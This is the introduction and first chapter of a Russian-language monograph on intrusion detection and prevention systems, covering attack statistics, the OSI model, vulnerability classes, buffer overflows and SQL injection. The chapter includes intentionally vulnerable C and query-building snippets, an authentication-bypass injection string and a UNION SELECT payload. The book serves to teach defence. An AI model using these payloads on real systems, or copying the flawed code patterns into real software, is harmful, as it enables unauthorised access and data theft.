Во времена Римской империи была сформулирована геополитическая формула: «Кто владеет морем, тот владеет миром!». Во время Второй мировой войны это выражение было модифицировано и звучало уже следующим образом: «Кто владеет воздушным пространством, тот владеет миром!». И, наконец, во второй половине 20-го века, в период становления постиндустриального общества был выработан новый геополитический тезис: «Кто владеет информацией, тот владеет миром!», который остаётся актуальным и по сей день. Наступило время, когда необходимо считаться с тем, что переход информации в разряд важнейших ресурсов человечества одновременно порождает проблему обладания этим ресурсом, его уничтожения или изменения, исходя из государственных, коммерческих, частных и других интересов, и, как следствие, приводит к появлению нового средства нападения или защиты, т.е. информационного оружия. Как следствие этого острота проблемы обеспечения информационной безопасности (ИБ) субъектов информационных отношений, защиты их законных интересов при использовании информационных систем и сетей, хранимой, обрабатываемой и передаваемой в них информации постоянно возрастает. Несмотря на интенсивное внедрение вновь создаваемых технологических решений в области информационной безопасности, уровень криминогенности в информационной сфере сетей передачи данных ведущих стран мира постоянно повышается, что приводит к миллиардным финансовым потерям.
По данным координационного центра немедленного реагирования CERT, организованного при университете Карнеги Меллона (http://www.cert.org), ежегодно наблюдается рост количество регистрируемых информационных атак.
Рисунок. Тенденция ежегодного роста количества информационных атак (по данным CERT)
Характерно, что количество компьютерных преступлений, совершаемых в России, ежегодно увеличивается. Так, согласно статистике Министерства Внутренних Дел РФ количество компьютерных преступлений, связанных с несанкционированным доступом к конфиденциальной информации увеличилось с шестисот инцидентов в 2000-м году до семи тысяч в 2004-м. К основным причинам роста количества атак можно отнести следующие факторы:
• с каждым годом увеличивается количество пользователей общедоступных сетей связи, таких, например, как сеть Интернет. При этом в качестве новых пользователей выступают как отдельные клиентские рабочие станции, так и целые корпоративные сети;
• увеличивается количество уязвимостей, ежедневно обнаруживаемых в существующем общесистемном и прикладном программном обеспечении;
• возрастает число возможных объектов атаки. Если несколько лет назад в качестве основных объектов несанкционированного воздействия рассматривались исключительно серверы стандартных Web-служб, такие как HTTP, SMTP и FTP, то к настоящему моменту разработаны средства реализации атак на маршрутизаторы, коммутаторы, межсетевые экраны и др.;
• упрощение методов реализации информационных атак. В сети Интернет можно без труда найти программные реализации атак, направленных на активизацию различных уязвимостей. При этом использование этих средств сводится к вводу IP-адреса объекта атаки и нажатию соответствующей управляющей кнопки;
• увеличение числа внутренних атак со стороны пользователей АС. Примерами таких атак является кража конфиденциальной информации или запуск вредоносного ПО на рабочих станциях пользователей.
Необходимо также отметить, что уровень сложности информационных атак также постоянно растёт. Данное утверждение можно проиллюстрировать на примере эволюции компьютерных вирусов. В момент своего первого появления в 1980-х годах вирусы представляли собой достаточно простые программы, которые самостоятельно распространялись в автоматизированных системах (АС) и основной задачей которых было нарушение работоспособности системы. Сегодня же компьютеры вирусы представляют существенно более сложные программные средства, способные распространятся практически в любой среде передачи информации, а также маскироваться под работу штатного ПО. Кроме этого, современные модификации компьютерных вирусов в основном используются для кражи конфиденциальной информации, а также для получения несанкционированного доступа к компьютерам пользователей. Аналогичная тенденция характерна и для других видов угроз безопасности, для реализации которых постоянно придумываются более изощрённые методы и средства проведения атак.
С учётом вышесказанного можно с уверенностью утверждать, что проблема защиты АС от информационных атак является одной из наиболее актуальных и значимых в области ИТ - индустрии. По всему миру ежегодно проводится большое количество исследований, направленных на разработку новых и более эффективных методов противодействия угрозам злоумышленников. С учетом актуальности вопросов, связанных с защитой от внешних и внутренних информационных атак, и была написана эта книга, в базу которой заложен многолетний практический опыт проектирования, разработки и внедрения комплексных системы защиты от информационных атак. Основное внимание в монографии уделено средствам защиты, которые классифицируются как системы обнаружения атак – IDS (Intrusion Detection System) и системы предотвращения атак (Intrusion Prevention System). Основная задача книги заключается в том, чтобы дать читателю представление о внутреннем устройстве систем обнаружения и предотвращения атак (СОА), специфике их функционирования, а также дать практические рекомендации по наиболее эффективному использованию СОА для защиты от информационных атак злоумышленников.
Представленная на суд читателя книга включает следующие разделы.
В Главе 1 приведены основные понятия и определения, используемые в области защиты от информационных атак. Рассмотрены основные виды эксплуатационных и технологических уязвимостей, на основе которых могут быть реализованы атаки злоумышленников. Приведены примеры, таких уязвимостей как «buffer overflow», «SQL injection», «format string», «Directory traversal», «Cross Site Scripting» и др. Представлен здесь и жизненный цикл информационной атаки с описанием стадии рекогносцировки, стадии вторжения и атакующего воздействия, стадии дальнейшего развития атаки. Описаны и последствия, к которым могут привести сетевые атаки.
В 2-й главе «Системы обнаружения атак и их функциональные задачи» охарактеризованы новейшие методы и средства защиты от информационных атак, включая средства криптографической защиты информации, системы разграничения доступа пользователей к информационным ресурсам, межсетевые экраны, средства анализа защищённости, средства защиты от вирусов и спама, а также системы контентного анализа. В главе также рассмотрена история создания систем обнаружения атак (СОА), а также описана их функциональная ниша среди других средств защиты АС.
Третья глава книги посвящена методам сбора исходных данных системами обнаружения атак. Здесь приведено описание источников информации для СОА, описаны различные виды датчиков СОА, а также рассмотрены типовые варианты их размещения в АС. Проводится сопоставление функциональных возможностей сетевых и хостовых датчиков при их использовании для защиты от злонамеренного воздействия нарушителями.
В 4-й главе «Методы обнаружения информационных атак» читатель найдёт данные по классификации методов выявления информационных атак с описанием сигнатурных и поведенческих способов. В книге подробно описаны такие сигнатурные методы выявления атак, как метод контекстного поиска, анализа состояний, выявление атак, базирующееся на экспертных системах, а также биологические методы, основанные на генетических алгоритмах и нейросетях. Из известных поведенческих методов охарактеризован статистический метод выявления атак, нейросетевой метод, иммунологические методы, метод выявления атак на основе экспертных систем, метод контроля целостности, а также метод выявления нарушений в штатном протоколе сетевого взаимодействия.
Пятая глава «Противодействие выявленным информационным атакам», описывает различные активные и пассивные методы реагирования на атаки, которые выявляются СОА. В главе приведены рекомендации по практическому использованию тех ли иных методов противодействия информационным атакам.
В шестой главе, озаглавленной «Обзор существующих систем обнаружения информационных атак» читатель найдёт характеристики следующих СОА, которые получили наибольшее распространение на российском рынке информационной безопасности - «Radware DefensePro», «ISS RealSecure», «ISS Proventia», «Juniper Networks IDP», «Cisco IDP 4200», «Symantec SNS 7100», «Snort», «Форпост». Кроме этого, в главе приведено описание систем, предназначенных для выявления внутренних атак злоумышленников, включая системы «InfoWatch Net Monitor», «Insider» и «Урядник».
Седьмая глава «Проблема выбора системы обнаружения информационных атак» даёт читателю представление относительно методов оценки эффективности обнаружения атак на основе показателей ошибок первого и второго рода. В книге рассмотрены особенности проведения испытаний, которые позволят определить эффективность работы СОА и выбрать продукт наиболее подходящий для АС компании.
В главе 8: «Особенности внедрения и эксплуатации систем обнаружения информационных атак в автоматизированной системе предприятия» охарактеризован процесс внедрения СОА, предусматривающий проведение обследования АС, разработку технорабочего проекта по внедрению СОА, обучение персонала, пусконаладочные работы, опытная эксплуатация и испытания. В главе также рассмотрены варианты комплексных решений по защите Интернет- и Интранет-порталов, защите почтовой системы от вирусов, атак и спама, защите от утечки конфиденциальной информации, решение по организации защищённого доступа пользователей к ресурсам сети Интернет, а также по комплексному мониторингу информационной безопасности АС.
В отдельную девятую главу выделено описание российских и международных стандартов в области информационной безопасности. Здесь читатель найдёт обзор Федеральных законов, постановлений Правительства, ГОСТов и специализированных документов. Кроме этого, рассмотрены международные стандарты ISO17799, ITIL, OCTAVE и др.
В главе 10: «Перспективы развития систем обнаружения и предотвращения информационных атак» описаны возможные направления развития технологий защиты от информационных атак в ближайшем будущем.
Книга ориентирована на технических специалистов, в ведении которых находятся вопросы защиты информации. Кроме этого, книга также может быть полезна руководителям ИТ-отделов и отделов информационной безопасности, поскольку изложенные материалы могут использоваться на этапе принятия решения о выборе средства защиты от атак, а также этапе внедрения и сопровождения системы защиты. И, наконец, книга может использоваться в качестве учебного пособия студентами в рамках курсов по защите информации.
Надеюсь, что читатель найдёт для себя в книге много полезной и значимой для себя информации.
Глава I. Защита от информационных атак – основные понятия и определения
Прежде чем начать рассмотрение функциональных возможностей и особенно использования систем обнаружения и предотвращения атак необходимо сначала ответить на два базовых вопроса – «Что мы хотим защищать?» и «От кого или от чего мы хотим защищать?» при помощи систем этого типа. Ответ на первый вопрос естественно связан с понятием автоматизированной системы, которая обеспечивает хранение, обработки и передачу защищаемых информационных ресурсов. Ответ на второй вопрос может быть получен в процессе описания сетевых атак, основных причин их возникновения, а также возможных последствий, к которым они могут привести. Именно этим вопросам и ответам на них посвящена первая глава книги.
1.1. Автоматизированная система – объект защиты от информационных атак
Автоматизированные системы (АС) представляют собой совокупность персонала и комплекса средств автоматизации его деятельности, реализующие информационную технологию выполнения установленных функций. Примерами АС могут являться локальные вычислительные сети, Интернет-порталы, системы электронного документооборота и др. Основная задача АС заключается в поддержке бизнес-процессов организации посредством своевременного предоставления необходимых информационных ресурсов.
В общем случае АС может быть представлена в виде совокупности взаимодействующих узлов, в качестве которых могут выступать рабочие станции пользователей, серверы или коммуникационное оборудование. Каждый узел АС, в свою очередь, состоит из:
• аппаратного обеспечения, включающего в себя технические средства узла, такие как сетевые адаптеры, процессоры, микросхемы плат и др.;
• общесистемного программного обеспечения, на котором функционирует операционная система узла и все её составные модули;
• прикладного программного обеспечения, обеспечивающего решение прикладных задач, для которых предназначена АС.
На каждом из узлов АС могут храниться и обрабатываться информационные ресурсы, доступ к которым может осуществляться посредством локального или сетевого взаимодействия. Локальное взаимодействие осуществляется при помощи элементов управления, непосредственно подключённых к узлам АС (например, консоли, клавиатуры, мыши и т.д.). Сетевое взаимодействие реализуется путём обмена с узлом информацией по каналам связи. Такая сетевая передача данных может быть представлена в виде семиуровневой модели взаимодействия открытых систем (ВОС). Каждый уровень этой модели соответствует определенным функциям, которые должны быть выполнены для обеспечения сетевого взаимодействия (табл. 1.1).
Таблица 1.1
Функции семиуровневой модели взаимодействия открытых систем
Наименование уровня модели Функции, которые реализуются
на соответствующем уровне модели ВОС
Прикладной уровень Реализуется программный интерфейс для доступа различных приложений к функциям передачи информации по каналам связи АС
Уровень представления Определяется формат данных, которые будут передаваться между узлами АС по сети
Сеансовый уровень Выполняются функции установления и закрытия логического соединения между узлами АС
Транспортный уровень Реализуются функции управления сетевым соединением, по которому передаются данные между узлами АС
Сетевой
Уровень Осуществляется управление сетевыми адресами узлов АС, а также обеспечивается фрагментация и сборка передаваемых пакетов данных
Канальный уровень Обеспечивается преобразование данных в соответствующий формат физической среды передачи информации АС
Физический уровень Обеспечивается передача информации через физическую среду передачи данных, в качестве которой могут выступать коаксиальные или оптоволоконные кабели, экранированные или неэкранированные витые пары, беспроводные каналы связи и др.
При отправке информации от одного узла к другому по каналам связи к ней последовательно применяются функции семи уровней модели ВОС, начиная с прикладного и заканчивая физическим. В процессе выполнения функций каждого уровня к информации добавляется служебный заголовок, содержащий информационные поля. Примерами таких полей могут служить адреса получателя и отправителя данных, объём передаваемых данных, тип режима передачи информации и др. При поступлении адресату полученная информация также обрабатывается при помощи функций семи уровней модели ВОС, начиная с физического и заканчивая прикладным. При этом удаляются все служебные заголовки соответствующих уровней, в результате чего информация принимает первоначальный вид. Схематично процесс обработки информации при её передаче от отправителя к получателю показан на рис. 1.1.
Рис. 1.1. Процесс преобразования информации при её передаче
Необходимо отметить, что в настоящее время из всех стеков сетевых протоколов, основанных на модели ВОС, наибольшее распространение получил стек TCP/IP, который применяется более чем в 90% всех существующих локальных и территориально-распределённых сетях связи. Характерная особенность состоит в том, что этот стек протоколов не использует функции уровня представления, а также сеансового уровня модели ВОС. Поскольку в последующих разделах книги речь будет идти только об АС, построенных на базе стека TCP/IP, то эти два уровня модели ВОС учитываться в дальнейшем не будут.
Функции модели ВОС могут быть реализованы на уровне аппаратного, общесистемного или прикладного ПО АС. Для организации сетевого взаимодействия между узлами АС они не обязательно должны реализовывать функции всех уровней модели ВОС. Ниже в табл. 1.2 приведены уровни модели ВОС, функции которых используются разными типами узлов АС.
Таблица 1.2
Узлы АС, реализующие функции различных уровней модели ВОС
Уровень
Тип узла Физический уровень Канальный уровень Сетевой уровень Транспортный уровень Прикладной уровень
Повторитель + – – – –
Коммутатор + + – – –
Маршрутизатор + + + – –
Автономная рабочая
станция / сервер – – – – –
Сетевая рабочая станция/сервер + + + + +
Помимо уровней модели ВОС, а также уровней аппаратного, общесистемного и прикладного ПО, в АС также присутствует уровень информационных ресурсов, на котором хранятся, обрабатываются и передаются данные АС. Типы и формат информационных ресурсов этого уровня определяются составом и конфигурацией используемого аппаратного и программного обеспечения АС. Так, например, при использовании серверов СУБД в качестве информационных ресурсов могут выступать таблицы базы данных, а при использовании Web-серверов такими ресурсами могут быть гипертекстовые документы.
С учётом рассмотренной выше модели ВОС и трёхуровневой модели узлов, АС может быть представлена в виде множества узлов, которые могут взаимодействовать между собой по каналам связи. Такое концептуальное представление АС будет использоваться в дальнейшем при описании информационных атак, а также средств защиты. На рис. 1.2 показан пример модели АС, состоящей из двух узлов.
Рис. 1.2. Концептуальная модель АС, состоящей из двух узлов
Жизненный цикл любой АС включает в себя, как правило, два этапа – технологический и эксплуатационный. На технологическом этапе осуществляется проектирование и разработка АС. На эксплуатационном этапе выполняется настройка и штатная эксплуатация АС. На каждом из этапов жизненного цикла основным объектом защиты в АС является информация, которая может передаваться по каналам связи, а также находиться в состоянии хранения или обработки в узлах АС.
Практически любая АС может выступать в качестве объекта информационной атаки , которая может быть определена как совокупность действий злоумышленника, направленная на нарушение одного из трёх свойств информации – конфиденциальности, целостности или доступности. Рассмотрим эти свойства более подробно. Свойство конфиденциальности позволяет не давать права на доступ к информации или не раскрывать ее неполномочным лицам, логическим объектам или процессам. Характерным примером нарушения конфиденциальности информации является кража из системы секретной информации с целью её дальнейшей перепродажи. Целостность информации подразумевает её способность не подвергаться изменению или уничтожению в результате несанкционированного доступа. В качестве примера нарушения этого свойства можно привести ситуацию, при которой злоумышленник преднамеренно искажает содержимое одного из электронных документов, хранящихся в системе. И, наконец, доступность информации определяется как её свойство быть доступной и используемой по запросу со стороны любого уполномоченного пользователя. Так, например, злоумышленник сможет нарушить доступность Интернет-портала если ни один из легальных пользователей не сможет получить доступ к его содержимому. Таким образом, в результате нарушения конфиденциальности, целостности или доступности информации злоумышленник тем самым может нарушить бизнес-процессы компании, которые базируются на информационных ресурсах, которые являлись объектом атаки.
Для реализации информационной атаки нарушителю необходимо активизировать или, другими словами, использовать определённую уязвимость АС. Под уязвимостью принято понимать слабое место АС, на основе которого возможна успешная реализация атаки. Примерами уязвимостей АС могут являться: некорректная конфигурация сетевых служб АС, наличие ПО без установленных модулей обновления, использование нестойких к угадыванию паролей, отсутствие необходимых средств защиты информации и др. Логическая связь уязвимости, атаки и её возможных последствий показана на рис. 1.3.
Рис. 1.3. Связь уязвимости, атаки и её возможных последствий
В последующих разделах первой главы приводится описание основных типов уязвимостей, информационных атак, а также их возможных последствий.
1.2. Уязвимости - ахиллесова пята автоматизированных систем
Уязвимости являются основной причиной возникновения информационных атак. Наличие самих слабых мест в АС может быть обусловлено самыми различными факторами, начиная с простой халатности сотрудников, и заканчивая преднамеренными действиями злоумышленников. Различные типы уязвимостей можно рассмотреть на основе разработанной классификации, которая представлена на рис. 1.4.
Рис. 1.4. Классификация уязвимостей автоматизированных систем
Уязвимости могут присутствовать как в программно-аппаратном, так и организационно-правовом обеспечении АС. Основная часть уязвимостей организационно-правового обеспечения обусловлена отсутствием на предприятиях нормативных документов, касающихся вопросов информационной безопасности. Примером уязвимости данного типа является отсутствие в организации утверждённой концепции или политики информационной безопасности, которая бы определяла требования к защите АС, а также конкретные пути их реализации. Организационно-правовые уязвимости также имеют место в тех случаях, когда существующие нормативно-правовые документы не полностью охватывают все необходимые аспекты защиты от информационных атак или же когда такие документы существуют лишь на бумаге и не внедряются на практике. Так, например, в организации может отсутствовать регламент, в соответствии с которым должно осуществляться обновление сигнатурных баз антивирусных средств защиты. Такая уязвимость может привести к несвоевременному обновлению сигнатур вирусов и к возможному пропуску потенциально опасных вирусных атак.
Уязвимости программно-аппаратного обеспечения могут присутствовать в программных или аппаратных компонентах рабочих станций пользователей АС, серверов, а также коммуникационного оборудования и каналов связи АС. В соответствии с трёхуровневой моделью узла АС, изображённой на рис. 1.2, уязвимость может быть отнесена к аппаратному обеспечению, а также общесистемному или прикладному ПО. В том случае, если уязвимость содержится в программно-аппаратном обеспечении АС, которое отвечает за организацию сетевого взаимодействия между узлами АС, она может быть дополнительно соотнесена с одним из пяти уровней модели ВОС – физическим, канальным, сетевым, транспортным или прикладным.
Уязвимости АС могут быть внесены как на технологическом, так и на эксплуатационном этапах жизненного цикла АС. На технологическом этапе нарушителями могут быть инженерно-технические работники, участвующие в процессе проектирования, разработки, установки и настройки программно-аппаратного обеспечения АС. Технологические уязвимости могут быть внесены нарушителем на следующих стадиях:
• проектирования АС, в процессе которой нарушителем могут быть выбраны такие технологии для хранения, обработки и передачи информации, в которых отсутствуют механизмы защиты. В качестве примера уязвимостей этого типа можно привести проект подключения АС к сети Интернет напрямую без средств межсетевого экранирования;
• разработки программно-аппаратного обеспечения АС. На этом этапе программистами могут быть допущены непреднамеренные ошибки, использование которых может привести к нарушению безопасности АС. Примерами таких уязвимостей, связанных с ошибками разработчиков являются «buffer overflow», «SQL Injection» и «format string», которые более рассмотрены ниже;
• установки и развертывания АС, в процессе которой могут быть выбраны параметры работы АС, уязвимые потенциальным атакам нарушителей.
Внесение эксплуатационных уязвимостей может иметь место при неправильной настройке и использовании программно-аппаратного обеспечения АС. В отличие от технологических, устранение эксплуатационных уязвимостей требует меньших усилий, поскольку для этого достаточно изменить конфигурацию АС. Характерными примерами уязвимостей этого типа являются:
• наличие слабых, не стойких к угадыванию паролей доступа к ресурсам АС. При активизации этой уязвимости нарушитель может получить несанкционированный доступ к АС путём взлома пароля при помощи метода полного перебора или подбора по словарю;
• наличие в системе незаблокированных встроенных учётных записей пользователей, при помощи которых потенциальный нарушитель может собрать дополнительную информацию, необходимую для проведения атаки. Примерами таких учётных записей являются запись «Guest» в операционных системах или запись «Anonymous» в FTP-серверах;
• неправильным образом установленные права доступа пользователей к информационным ресурсам АС. В случае если в результате ошибки администратора пользователи, работающие с системой, имеют больше прав доступа, чем это необходимо для выполнения их функциональных обязанностей, то это может привести к несанкционированному использованию дополнительных полномочий для проведения атак. Например, если пользователи будут иметь права доступа на чтение содержимого исходных текстов серверных сценариев, выполняемых на стороне Web-сервера, то этим может воспользоваться потенциальный нарушитель для изучения алгоритмов работы механизмов защиты Web-приложений и поиска в них уязвимых мест;
• наличие в АС неиспользуемых, но потенциально опасных сетевых служб и программных компонентов. Так, например, большая часть сетевых серверных служб, таких как Web-серверы и серверы СУБД поставляются вместе с примерами программ, которые демонстрируют функциональные возможности этих продуктов. В некоторых случаях эти программы имеют высокий уровень привилегий в системе или содержат уязвимости, использование которых злоумышленником может привести к нарушению информационной безопасности системы. Примерами таких программ являются образцы CGI-модулей, которые поставляются вместе с Web-приложениями, а также примеры хранимых процедур в серверах СУБД;
• неправильная конфигурация средств защиты, приводящая к возможности проведения сетевых атак. Так, например, ошибки в настройке межсетевого экрана могут привести к тому, что злоумышленник сможет передавать через него пакеты данных.
Необходимо отметить, что технологические и эксплуатационные уязвимости могут быть внесены потенциальными нарушителями как преднамеренным, так и непреднамеренным путём. Непреднамеренное или неумышленное внесение связано с некомпетентностью или халатностью персонала, работающего с АС. Примерами непреднамеренных эксплуатационных уязвимостей являются: некорректное использование или настройка программно-аппаратного обеспечения АС, неумышленное отключение средств защиты АС, использование легкоугадываемых паролей и др. В качестве примеров непреднамеренных технологических уязвимостей можно привести неумышленное внесение ошибок в разрабатываемое ПО.
Преднамеренное или умышленное внесение уязвимостей в АС связано с реализацией корыстных целей злоумышленников. Примером преднамеренных технологических уязвимостей АС является использование такого проекта АС, в котором заложены недекларированные каналы утечки конфиденциальной информации из АС. В качестве примеров преднамеренных эксплуатационных уязвимостей могут выступать: умышленный ввод ошибочных данных, преднамеренное использование криптографически нестойких ключей шифрования и др.
Ниже приводится описание наиболее распространённых типов технологических уязвимостей, связанных с ошибками в общесистемном и прикладном программном обеспечении АС.
1.2.1. Уязвимости «buffer overflow»
В основе уязвимости типа «buffer overflow» («переполнение буфера») лежит возможностью переполнения стека атакуемой подпрограммы, в результате чего нарушитель получает возможность выполнить любые команды на стороне узла, где запущена эта подпрограмма. Наличие именно такой возможности позволило провести первую крупномасштабную атаку в сети Интернет в 1988 году, которая впоследствии получила название – «Интернет-червь Ч. Морриса». Базируясь на уязвимости в сетевой службе fingerd, буквально за несколько дней, эта атака фактически парализовала работу более половины всех компьютеров, подключённых к сети Интернет. И по сей день уязвимость класса «buffer overflow» считается одним из наиболее распространённых и весьма опасных типов уязвимостей, имеющихся в общесистемном и прикладном ПО. Для более полного представления особенностей уязвимости этого типа рассмотрим основные принципы организации стека процессора семейства Intel x86.
Стек представляет собой область памяти, специально выделенной для временного хранения данных подпрограмм. В защищённом режиме работы микропроцессора максимальный размер стека ограничивается четырьмя Гигабайтами. Структура стека организована в соответствии с принципом LIFO (Last In First Out – «последним пришел, первым ушел»). Это означает, что при чтении информации из стека извлекается блок данных, который был записан в стек последним, а не первым. Для записи информации в стек используется инструкция процессора PUSH, а для чтения – POP. При этом одна из особенностей стека заключается в том, что при записи данных в стек он увеличивается в сторону младших адресов памяти.
Для работы со стеком используются три регистра процессора (рис. 1.5):
ss – сегментный регистр, содержащий адрес начала сегмента стека;
sp / esp – регистр указателя стека, который всегда указывает на вершину стека, т.е. содержит смещение, по которому в стек был занесен последний элемент данных. Если стек пуст, то значение sp/esp равно адресу последнего байта сегмента, выделенного под стек;
bp / ebp – регистр указателя базы кадра стека, который обычно используется для хранения адреса стека, где хранятся локальные переменные. При использовании регистров sp/esp и bp/ebp их значения являются смещениями относительно сегментного регистра ss.
Рис. 1.5. Схема организации стека
Рассмотрим порядок записи данных в стек при вызове функций на примере программы, исходный текст которой приведён в листинге 1.1.
void test(int a, int b, int c){
char p1[6];
char p2[9];
}
void main() {
test(1,2,3);
}
Листинг 1.1. Пример программы на языке Си, в которой вызывается функция test()
При вызове функции test в стек сначала записываются значения трёх параметров – a, b и c в обратном порядке. Затем в стек помещается адрес возврата, в котором указывается адрес инструкции, которая должна быть выполнена процессором сразу после завершения работы функции test. При выходе из функции test этот адрес возврата автоматически копируется в регистр EIP (Extended Instruction Pointer), значение которого считывает процессор и передаёт управление на команду по адресу этого регистра. Также в реестре сохраняется значение регистра EBP, который указывает на локальные переменные функции main(). Далее в стек записываются локальные символьные массивы p1 и p2, которые определены в функции test. Итоговая структура стека функции test() показана на рис. 1.6.
…
Память, выделенная под символьный массив p2
Память, выделенная под символьный массив p1
Сохранённое значение регистра EBP
Адрес возврата
Значение параметра вызова a
Значение параметра вызова b
Значение параметра вызова c
…
Рис. 1.6. Структура стека функции test()
Уязвимость «buffer overflow» вызвана отсутствием в программе проверки размерности данных, которые записываются в стек. Это может позволить потенциальному нарушителю записать в стек избыточную информацию, которая смогла бы изменить значение адреса возврата и передать управление на фрагмент ранее внедрённого вредоносного кода. В листинге 1.2 приведён исходный код программы, который демонстрирует изменения содержимого стека при попытке переполнения одной из его переменных.
#include <stdio.h>
int main(int argc, char **argv){
char a1[4]="abc";
char a2[8]="defghij";
strcpy(a2, "0123456789");
printf("%s\n", a1);
return 0;
}
Листинг 1.2.Пример программы, демонстрирующей изменения в стеке при его переполнении
В приведённой программе определено два символьных массива типа char – a1 и a2. Размер первого массива a1 составляет четыре, а второго – восемь байт. После определения переменных в программе при помощи функции strcpy выполняется операция записи строкового значения «0123456789» в массив a2. При этом записываемое значение на семь байт превышает размер массива a2, что приводит к его переполнению и изменению значения массива a1, который размещён в стеке до a2. На рис. 1.7 показано состояние фрагмента стека с переменными a1 и a2 до и после вызова функции strcpy.
...
0 1 2 3
4 5 6 7
8 9 \0 \0
...
...
d e f j
h i j \0
a b c \0
...
Рис. 1.7. Состояние фрагмента стека с переменными a1 и a2
В левой части рис. 1.7 показано расположение в стеке содержимого двух переменных - a1 и a2. Значения обеих переменных завершаются символом «\0», что является признаком окончания строки. При этом с учётом последовательности объявления переменных в программе первым в стеке размещается символьный массив a1, а затем массив a2. После вызова функции strcpy происходит переполнение массива a2, поскольку в него записывается на семь символов больше, чем предусмотрено его размером. В результате этого переполнения часть избыточной информации записывается в массив a1, который размещён в стеке сразу вслед за массивом a2. После компиляции и запуска программы, приведённой в листинге 1.2, на экране будет выведено значение изменённого массива a1, которое будет принимать значение «89».
Таким образом, для активизации уязвимости типа «buffer overflow» нарушитель может переполнить одну из переменных стека с целью изменения адреса возврата и записи в него адреса вредоносного кода, на который будет передано управление после завершения работы функции, в которой был переполнен стек. Вредоносный код, который должен быть выполнен в результате активизации уязвимости, также записывается в стек в процессе его переполнения. Как правило, в его качестве выступает последовательность команд (так называемая «shell code»), выполнение которой позволяет получить удалённую консоль управления компьютером, на котором была активизирована уязвимость.
Уязвимости «buffer overflow» могут содержаться как общесистемном, так и прикладном программном обеспечении. В общем случае можно выделить следующие основные категории программ, которые могут содержать уязвимость этого типа:
программы, которые запускаются локально на хосте. Активизация уязвимости в программах этого типа может позволить нарушителю несанкционированно расширить свои права доступа к ресурсам локальной системы. Переполнение буфера программ осуществляется путём их запуска пользователем и ввода данных, приводящих к переполнению стека;
сетевые приложения, которые обеспечивают интерактивное взаимодействие с пользователем на основе сетевых протоколов. Для активизации уязвимости в сетевых приложениях нарушитель может сформировать удалённый запрос, содержащий входные данные, необходимые для переполнения стека в уязвимой программе. Примером сетевых программ являются Web-приложения, такие как CGI-модули, PHP-сценарии, активные серверные страницы ASP и др.;
хранимые процедуры серверов СУБД. Активизация уязвимости на таких серверах возможна как путём локального запуска хранимых процедур, так и формирования удалённого запросу к соответствующей процедуре.
1.2.2. Уязвимости «SQL injection»
Уязвимости типа «SQL Injection» («инъекция в SQL-запросы») позволяют нарушителю выполнять несанкционированные операции над содержимым баз данных SQL-серверов путём вставки дополнительных команд в SQL-запросы. Любой SQL-запрос представляет собой последовательность команд для сервера СУБД, сформированную на основе специализированного языка структурированных запросов SQL (Structured Query Language). Данная уязвимость характерна для приложений, которые получают в качестве входных данных параметры доступа к базе данных, после чего на их основе формируют SQL-запрос к серверам СУБД. Уязвимость «SQL Injection» заключается в отсутствии проверки корректности данных, поступающих на вход программе, что потенциально может позволить нарушителю составить входные данные таким образом, что приведёт к искажению искомого SQL-запроса к СУБД. Описание различных примеров использования уязвимостей типа «SQL Injection» приводится ниже.
Активизация уязвимости «SQL Injection» с целью получения несанкционированного доступа к ИС
В ряде случаях уязвимости «SQL Injection» могут иметь место в программах, которые выполняют функции идентификации и аутентификации пользователя в ИС. Активизация таких уязвимостей может позволить нарушителю получить несанкционированный доступ системе путём обхода процедуры аутентификации. В листинге 1.3 приведён пример исходного текста уязвимой программы, которая проводит аутентификацию пользователя на основе пароля.
SQLQuery = "SELECT Username FROM Users WHERE Username = '" &
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
boolAuthenticated = False
Else
boolAuthenticated = True
End If
Листинг 1.3. Фрагмент исходного кода уязвимой программы аутентификации пользователей
Алгоритм работы приведённой выше программы выглядит следующим образом. На основе регистрационного имени и пароля, введённого пользователем, программа формирует SQL-запрос, текст которого содержится в переменной SQLQuery. Далее при помощи сформированного запроса программа проводит в таблице Users поиск записи, содержащей имя и пароль, введённые пользователем. Если такая запись находится в таблице, то делается вывод о том, что аутентифицируемый пользователь зарегистрирован в системе и ему разрешается доступ к содержимому ИС. Поиск и извлечение информации из таблицы базы данных осуществляется при помощи SQL-оператора «SELECT».
Сущность уязвимости рассмотренной программы состоит в отсутствии проверки корректности значений регистрационного имени и пароля, вводимых пользователем. Эти значения содержатся в переменных strUsername и strPassword, соответственно. Воспользовавшись этой ошибкой разработчика программы, злоумышленник может путём манипуляциями со значениями переменных strUsername и strPassword модифицировать SQL-запрос. Так, например, в случае если нарушитель в качестве регистрационного имени и пароля введёт значение «’OR ‘’=’», то тогда будет сформирован следующий SQL-запрос:
«SELECT Username FROM Users WHERE Username = ''
OR ''='' AND Password = '' OR ''=''»
(полужирным шрифтом выделены команды, которые внедряются
нарушителем в исходный SQL-запрос).
Поскольку в SQL-запрос были добавлены два новых параметра – «OR ''=''», то одновременно с поиском пустой учётной записи пользователя в таблице Users, будет возвращена первая строка таблицы. Поскольку в результате выполнения функции GetQueryResult будет возвращено непустое значение, то нарушитель сможет беспрепятственно пройти через процедуру аутентификации и получить доступ к ИС как легальный пользователь.
Активизация уязвимости «SQL Injection» с целью несанкционированного извлечения данных из СУБД
Для несанкционированного извлечения данных из СУБД нарушитель может добавить в исходный текст SQL-запроса оператор UNION SELECT, который позволяет формировать одновременно несколько запросов к таблицам СУБД. Рассмотрим процедуру активизации уязвимости «SQL Injection» этого типа на примере следующего запроса, выполняющего выборку из таблицы Employees по названию города, которое вводится пользователем и передаётся в запрос через переменную strCity:
SQLString = "SELECT FirstName, LastName
FROM Employees WHERE City = '" & strCity & "'"
Для того, чтобы дополнительно извлечь информацию из другой таблицы с именем OtherTable нарушитель может ввести следующее значение через переменную strCity: «' UNION ALL SELECT OtherField FROM OtherTable WHERE ''='». В результате такой вставки получится SQL-запрос, который позволит получить доступ к информации, которая хранится в поле OtherField таблицы OtherTable:
SELECT FirstName, LastName FROM Employees WHERE City =
'' UNION ALL SELECT OtherField FROM OtherTable WHERE ''=''
После выполнения этого SQL-запроса будет сделана выборка данных из таблицы OtherTable. При этом никакой информации из таблицы Employees извлечено не будет, поскольку в сформированном запросе указано, что из этой таблицы необходимо получить только те записи, в которых поле City содержит пустое значение.
